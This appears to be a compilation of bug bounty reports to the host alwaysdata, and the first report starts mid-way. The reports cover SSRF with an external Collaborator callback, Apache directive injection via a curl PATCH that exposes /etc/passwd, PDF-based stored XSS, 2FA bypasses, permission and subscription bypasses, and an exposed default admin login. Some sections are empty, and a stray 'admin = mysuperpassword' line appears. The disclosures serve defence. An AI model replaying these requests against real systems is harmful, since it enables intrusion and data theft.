  Fetch the modcss URL from the preview response (see Step 3) - this triggers the SSRF
  Check your Collaborator for incoming HTTP requests from 185.31.40.185

Results
1. Collaborator Received HTTP Request from the Server

When i triggered the SSRF, my Collaborator received this request:

Timestamp: 2026-03-15T22:18:55.739Z
Client IP: 185.31.40.185
User-Agent: GuzzleHttp/7
Request: GET /ssrf-poc.css HTTP/1.1
Host: m3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com

If this was my browser making the request, the User-Agent would be Mozilla/5.0… and the IP would be my home IP. Instead, it’s GuzzleHttp/7 from 185.31.40.185.
2. Content Exfiltration

When i send an email with a <link> tag pointing to a CSS file (e.g., the Roundcube skin CSS), the server fetches it and returns the full content:

Request:

GET /roundcube/?_task=utils&_action=modcss&_u=tmp-da2506570833332561f753a8e4264709.css&_c=message-htmlpart1&_p=v1 HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/css,*/*;q=0.1

Response:

HTTP/2 200 OK
Server: nginx
Date: Sun, 15 Mar 2026 23:08:11 GMT
Content-Type: text/css;charset=UTF-8
Via: 1.1 alproxy

#messagehtmlpart1 #v1filtersetslist td.v1name:before,
#messagehtmlpart1 #v1filterslist td.v1name:before,
#messagehtmlpart1 #v1identities-table td.v1mail:before,
#messagehtmlpart1 #v1message-header .v1header-links a:before,
… [truncated - full CSS content exfiltrated]

3. Internal Network is Reachable

When i target internal IPs like 127.0.0.1 or external Collaborator URLs, the server connects and returns “Invalid response” however requests are still being sent internally:

Request:

GET /roundcube/?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&_c=message-htmlpart1&_p=v1 HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/css,*/*;q=0.1

Response:

HTTP/2 404 Not Found
Server: nginx
Date: Sun, 15 Mar 2026 23:08:25 GMT
Content-Type: text/html; charset=UTF-8
Via: 1.1 alproxy

Invalid response returned by server

Hello Team,

Summary:
Alwaysdata SignUp feature is misconfigured with email parameter. Email address parameter is accepting % and %0d%0a character along with genuine email address. Using this technique alwaysdata user account can be created but cannot be verified as there is not possible to verify those invalid email accounts. Basically random use of invalid email address, attacker can create multiple accounts.

Description:
As email address field always being verified with any special character (except @ and .) but here email is accepting % and line termination char %0d%0a

Steps To Reproduce
1.SignUp with new alwaysdata account
2.Use email address adding with character like % or %0d%0a, account will be created and you will get a account validation

3.Even if you try now to login using same above email and password then you will get account validation message.
4.You can not use the same invalid email again, as it will show an error of reuse of that invalid email address

Impact
Garbage value can be stored in database using user account signup form
Multiple account can be created, just like if any use has real account with his email address, then also account can be created by adding %0d%0a or % char
Account is created using invalid email address, but can not be used

Thank You,

Waleed Anwar

Hello Security Team,

I would like to report a security issue identified while testing site configuration through the API.

Name of vulnerability:
Apache directive injection through vhost_additional_directives in site configuration API

Description:
The vhost_additional_directives field appears to accept Apache directive content without filtering. In testing performed on a site under my own account, a directive supplied through this field was applied to the generated virtual host configuration and became active on the hosted site.

A simple Alias directive was accepted and mapped a local file to a public path, indicating that directives provided through this field are interpreted by Apache as part of the site configuration.

Steps to reproduce:
Using a site under my own account, I sent the following PATCH request:

curl -u "<account>:<password>"
-X PATCH "https://api.alwaysdata.com/v1/site/<site_id>/"
-H "Content-Type: application/json"
-d '{"vhost_additional_directives":"Alias /readfile /etc/passwd"}'

After the configuration was applied, I accessed:

https://<test-subdomain>.alwaysdata.net/readfile

The response returned the contents of /etc/passwd. A screenshot showing both the request and the resulting response is attached for reference.

Impact:
This behavior suggests that directives supplied through the API may be applied without validation, allowing configuration changes beyond the intended scope of this field. In the tested case, it resulted in local file exposure through a web-accessible path on a site under my own account.

Vulnerable HTTP Request and Response:

Request:

PATCH /v1/site/<site_id>/ HTTP/1.1
Content-Type: application/json

{
"vhost_additional_directives": "Alias /readfile /etc/passwd"
}

Observed response after visiting the configured path:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…

Remediation:
A possible remediation would be to validate or restrict directives accepted in vhost_additional_directives, allow only expected configuration directives, and reject directives that expose filesystem paths or alter request routing outside the intended use of this field.

Testing was limited to infrastructure associated with my own account. No destructive actions were performed, and only read verification was used to confirm the behavior.

Please let me know if any additional details would be helpful.

Best regards

Dear Alwaysdata Security Team,

I believe I have reproduced a stored XSS via file upload in the support ticket feature at admin.alwaysdata.com, which appears similar to your previously reported tasks  FS#63 ,  FS#131  and  FS#195 .

Summary Feature: Support ticket creation (/support/add/) on admin.alwaysdata.com.

Vector: Malicious PDF attachment with embedded JavaScript (created using JS2PDFInjector).

Impact: When a staff member opens the attached PDF from the ticket page, JavaScript executes in the context of admin.alwaysdata.com.

Steps to reproduce Log in to the admin panel and go to Support → Open a new ticket (https://admin.alwaysdata.com/support/add/).

Fill in Object/Subject/Message with any values (I also tested some filtered HTML/Markdown payloads which were correctly neutralized).

Attach a PDF named js_injected_poc.pdf containing embedded JS such as:
app.alert("DJH4CK3R");
app.alert("XSS");

Submit the ticket (I used a normal submission; using Content-Encoding: gzip also works but is not required).
​
Open the ticket in the support inbox: https://admin.alwaysdata.com/support/92563/#Bottom.

Click the attachment link js_injected_poc.pdf, which points to for example:
https://admin.alwaysdata.com/support/92563/427563-js_injected_poc.pdf.
​
The PDF is rendered and the embedded JavaScript executes, showing alert dialogs “DJH4CK3R” and “XSS” coming from admin.alwaysdata.com.
​

Notes about prior reports I noticed that very similar issues have been reported before:

 FS#63  – Stored XSS Via Upload Document
 FS#131  – Stored XSS by PDF in Support inbox
 FS#195  – Stored Cross‑Site Scripting (XSS) via File Upload in Support Ticket Feature

My PoC demonstrates that as of March 13, 2026 this vector is still exploitable via PDF attachment and direct view in the support interface. I’m fully aware this might be treated as a duplicate / regression and I’m not reporting it with bounty expectations; I mainly wanted to flag that the mitigation for those tasks may not completely cover PDF‑based payloads.

If you would like, I can provide:
The exact PoC PDF file
Burp request/response logs for the ticket submission
A short video showing upload → ticket → alert execution

Thank you for your time and for keeping the platform secure.

Cordially,
DJH4CK3R

Dear alwaysdata Security Team,

I hope this message finds you well. I am writing to submit a vulnerability report through your Bug Bounty program as outlined in your policy at https://www.alwaysdata.com/en/technical-specifications/bug-bounty/.

Vulnerability Summary
I have discovered a critical security misconfiguration involving a customer site hosted on your platform. An admin panel with default login credentials is publicly exposed, allowing unauthorized administrative access to the CMS installation.

Affected Assets
Domain: https://boidcms.alwaysdata.net

Admin Panel: https://boidcms.alwaysdata.net/admin

IP Address: http://1.92.94.174 (also hosts the same CMS)

Service: boidCMS installation on alwaysdata infrastructure

Discovery Details
Date of Discovery: March 13, 2026
Steps to Reproduce
Navigate to http://1.92.94.174/admin

Observe the login page which explicitly displays credentials:

text
Login Credentials:
Username: admin, Password: password
Enter the provided credentials (admin/password)

Observe successful authentication and redirect to https://boidcms.alwaysdata.net/admin

Full administrative dashboard becomes accessible with permissions to:

Create/Update/Delete content

Manage media files

Install/modify plugins and themes

Access system settings

Proof of Concept
I have attached screenshots documenting:

Screenshot 1: The login page at http://1.92.94.174/admin showing exposed credentials

Screenshot 2: Successful login redirect to boidcms.alwaysdata.net/admin

Screenshot 3: The admin dashboard confirming full access

Security Impact
An attacker exploiting this vulnerability could:

Gain complete control over the website

Deface or modify site content

Upload malicious files through media management

Install backdoor plugins for persistent access

Potentially leverage this access to probe other alwaysdata services

Use the domain for phishing or malware distribution

CVSS Assessment
Based on your scoring guidelines, I believe this qualifies as:

CVSS Score: 9.1 (Critical)

Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Category: Access Control Issues / Broken Authentication

Please let me know if you need any additional information, clarification, or if you would like me to test a fix once deployed. I am happy to assist in any way to ensure this issue is properly addressed.

Thank you for maintaining a bug bounty program and for your commitment to platform security.

Best regards,

Actual Issue:

A user that does not have backup permissions is still able to access backup-related task and log details by replaying previously captured requests.

The following endpoints return backup-related information even after the user’s backup permission has been removed:

GET /task/<id>/detail/ HTTP/2
Host: admin.alwaysdata.com

GET /log/<id>/detail/ HTTP/2
Host: admin.alwaysdata.com

Since backup access is denied, the user should not be able to access any backup-related task or log information.

Steps To Reproduce

accountA@gmail.com

accountB@gmail.com

Security Impact.

Additional Notes

Steps to reproduce:

1. Navigate to https://www.alwaysdata.com/en/register/ and create 2 accounts, accountA@gmail.com, accountB@gmail.com

1. In accountA@gmail.com, invite accountB@gmail.com and grant it all access(this is so that we can capture the request to make testing easy.)

1. Login to accountB@gmail.com, click on advanced → backup recovery, fille in the necessary details and submit while proxying the traffic through burp.

1. In burp, identify the traffic to these endpoints and intercept.

Summary:
The alwaysdata.com implements Time-based One-Time Password (TOTP) authentication using Google Authenticator. However, it is possible to successfully authenticate using a previously used and expired OTP code. This indicates that the system does not properly invalidate used or expired OTPs, significantly weakening the security guarantees of two-factor authentication.

Steps to Reproduce

1.Navigate to: https://admin.alwaysdata.com/login/

2.Log in using valid credentials.(must be turn on 2fa on the account)

3.When prompted for Authenticator 2FA, enter a correct OTP code and complete login successfully.

4.Copy and store the OTP used in step 3.

5.Wait until the OTP expires in Google Authenticator and a new OTP appears.

6.Log out from the account.

7.Attempt to log in again using valid credentials.

8.When prompted for 2FA, enter the previously used and expired OTP code from step 3.

9.Observe: Authentication succeeds even though the OTP is expired and already used.

PoC:video attached

Expected Behavior
An OTP code should be valid only once.Expired OTPs must be rejected.Previously used OTPs must be invalidated immediately after successful authentication.

Actual Behavior
Expired and previously used OTP codes are still accepted.Login succeeds with replayed OTP values.

Impact
This vulnerability allows attackers to bypass two-factor authentication by reusing expired and previously used OTP codes, leading to unauthorized account access and potential account takeover.
Beyond direct security impact, exploitation of this issue can cause significant reputational damage to the company. Users expect 2FA to provide strong protection; a failure in its implementation may lead users to perceive the platform as insecure, resulting in loss of user trust, reduced confidence in the service, and potential customer churn. Additionally, if exploited at scale, this could expose the company to compliance, legal, and brand credibility risks.

Recommended solution
Enforce single-use OTP validation by immediately invalidating a TOTP code after successful authentication.Strictly verify OTP expiration time and reject any expired or previously used codes on the server side.Implement replay protection and ensure TOTP validation fully complies with RFC 6238, allowing only minimal clock skew.

Summary:
The application allows users to enable TOTP-based Two-Factor Authentication (2FA) for additional account security. However, when a user logs in using Google OAuth, the system completely bypasses the account’s configured TOTP verification. This allows anyone with access to the linked Google account to log in without providing the required TOTP code, effectively defeating the purpose of 2FA on the platform.

Steps to Reproduce
1.Create a valid account using Gmail at:https://www.alwaysdata.com/en/register/ 2.link the account with Google OAuth.
3.Enable Two-Factor Authentication (TOTP) in account settings.
4.Log out of the account.
5.Attempt to log in using email + password.Observe that the system correctly prompts for the TOTP code.
6.Log out again.
7.Attempt to log in using Google OAuth.
8.Observe that login is successful without being prompted for TOTP.No 2FA code needed.

PoC:video attached.

Expected Behavior:
TOTP-based 2FA should be enforced for all authentication methods, including OAuth logins. Users should not be able to access the account without successfully completing TOTP verification, regardless of whether they authenticate via password or Google OAuth.

Actual Behavior:
OAuth login completely bypasses the TOTP verification, allowing immediate access to the account. This effectively nullifies the additional security layer that the user explicitly enabled.

Impact
If an attacker gets access to the victim’s Google OAuth account they can log in to alwaysdata.com without TOTPT .This bypasses 2FA protection and allows full account takeover.The attacker can access sensitive data and change account settings.2FA security is completely defeated and the account can be fully compromised

Recommended Fix
Enforce TOTP verification after all authentication methods, including OAuth.Ensure OAuth login completes only the primary authentication step, requiring TOTP before creating a session.Implement centralized authentication middleware to check 2FA status before granting access.

Description

The business model of alwaysdata relies on restricting features based on the subscription type, where certain privileges (such as creating websites and using additional resources) are granted only to accounts with paid plans.

I was able to bypass this system by exploiting a logical flaw in the Subscription Rename mechanism and the lack of synchronization between the Mailbox state and plan validation. This resulted in obtaining all paid features using a Free account without any payment.

The issue is not UI-based, but a server-side business logic flaw.

Steps to Reproduce

1. Create a new subscription with the Free plan.

2. Using an API Token, execute a request via curl to retrieve the subscription details and confirm that the plan is Free.

3. Go to the Mailbox section and identify the email associated with the subscription (e.g.,
test@alwaysdata.net).

4. Open Burp Suite, intercept the Save request for the mailbox settings, and send it to Repeater.

5. Rename the subscription.

6. Immediately after renaming, send the previously saved request from Repeater.

7. Observe that:

The subscription name changes successfully.

However, the Mailbox remains associated with the old name (test).

8. Create a new subscription using the same old name (test).

9. Observe that the new subscription obtains:

The ability to create websites (not allowed on the Free plan).

Full paid features.

No payment method required.

No effective restrictions applied.

10. When checking the subscription via the API, it shows:

"product": null
"period": null

This indicates that the account has no enforced restrictions while effectively enjoying full paid features.

11. The issue was tested on multiple accounts and remained functional for more than a week without any payment request.

POC: https://admin.alwaysdata.com/support/92155/

Impact

Obtaining paid features without payment.

Potential unlimited abuse of paid infrastructure.

admin = mysuperpassword

The application allows users to register and authenticate using Google OAuth.
However, when a user changes their email address, the application fails to properly manage the OAuth binding.

As a result, the original Google account remains permanently linked to the user account, even after the email is updated.

Steps to Reproduce

1- Register a new account using Google OAuth with: user1@gmail.com 2- Navigate to Account Settings
3- Change the email address to: user2@gmail.com 4- During this process, the application requires setting a new password,
resulting in two active authentication methods: Email & Password and Google OAuth
5- Log out
6- Log in again using Google OAuth with the original Google account

Actual Result

Login via Google OAuth succeeds
The original Google account still has full access
Email change and password setup do not affect OAuth access

Impact

Persistent unauthorized access
Full account takeover
Users cannot secure their accounts by changing email
High risk in cases of Gmail compromise or lost devices

Attack Scenario
Attacker gains access to the victim’s Google account
Victim changes the email to secure the account
Attacker continues logging in via Google OAuth
Long-term access without detection

Root Cause

OAuth identity is permanently bound to the account
Email changes do not trigger OAuth revocation
Missing OAuth lifecycle management controls

Recommended Fix

Revoke all OAuth sessions on email change
Require re-authentication and OAuth re-linking
Allow users to disconnect OAuth providers

Thank You,

Waleed Anwar